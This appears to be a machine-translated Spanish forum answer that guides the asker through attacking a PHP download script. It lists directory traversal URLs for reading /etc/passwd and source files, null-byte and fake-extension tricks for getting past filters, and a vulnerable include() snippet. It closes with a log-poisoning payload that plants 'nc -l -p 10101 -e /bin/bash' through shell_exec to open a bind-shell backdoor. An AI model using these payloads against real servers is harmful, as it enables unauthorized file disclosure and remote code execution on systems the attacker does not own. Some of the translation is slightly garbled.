Proporcione más detalles sobre lo que ha intentado. ¿Qué tan alto en el árbol de directorios puede ir. Suponiendo que está utilizando Linux, ¿cuál es la respuesta cuando accede a las siguientes URL:
/download.php?file=files/../../../../../../../../etc/passwd
/download.php?file=files/../../../../../../../../etc/passwd%00
/download.php?file=../../../../../../../../etc/passwd
/download.php?file=files/../download.php%00
/download.php?file=files/../download.php.txt%00
/download.php?file=files/../download.php.html%00
/download.php?file=files/../download.php.jpg%00
/download.php?file=files/../download%00
Los siguientes filtros pueden estar en su lugar:
- Validación de la ruta del archivo que restringe todas las solicitudes a un directorio determinado
- Directorio de prevención de recorrido; Filtros que restringen la solicitud de archivos de otros directorios superiores al directorio raíz web ("/")
- Filtros de extensión de archivo que impiden solicitar un archivo con cierta extensión (es decir, .php, .java, .aspx), generalmente archivos que manejan la lógica del lado del servidor.
En las URL anteriores, los posibles caracteres finales del lado del servidor se eliminan utilizando el byte nulo (% 00) para que no se consideren caracteres más allá de la URL. Por ejemplo, la ruta del archivo recuperada para las siguientes dos URL es la misma que para el código del lado del servidor:
/download.php?file=files/read_me.txt%00
/download.php?file=files/read_me.txt%00<some_string>
indicar el camino:
files/read_me.txt
Tenga en cuenta que el servidor puede concatenar una cadena que representa una extensión del archivo solicitado.
Agregar una extensión adicional al archivo puede engañar a los filtros para que piensen que está solicitando un archivo con una extensión válida. Por lo general, se aceptan extensiones de archivo estáticas: .html, .css, .jpg (la mayoría de los formatos de imagen), .js y s.o ..
Tenga en cuenta que para que la solicitud tenga éxito, la ruta del archivo debe ser válida.
Dependiendo de cómo se escriba download.php , también puede haber una LFI ataque. Si el parámetro de archivo no está saneado y se utiliza para incluir otra página como se muestra a continuación:
<?php
$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
el código php se puede ejecutar al incluir el archivo respectivo. Un medio común es utilizar los archivos de registro del servidor para inyectar código malicioso colocando el código dentro del cuerpo de la solicitud. Por ejemplo, haciendo la siguiente solicitud:
/index.php?blah=<?php shell_exec('nc -l -p 10101 -e /bin/bash'); ?>
se configura una puerta trasera en el servidor en el puerto 10101 si el archivo de registro está incluido en una secuencia de comandos php similar a la anterior. Por ejemplo, al hacer la siguiente solicitud:
download.php?file=../../../../../../../var/log/apache2/access.log%00
netcat abre una conexión en modo de escucha en el puerto 10101. Hoy en día, la mayoría de los proveedores de alojamiento deshabilitar el comando de php ejecutando funciones.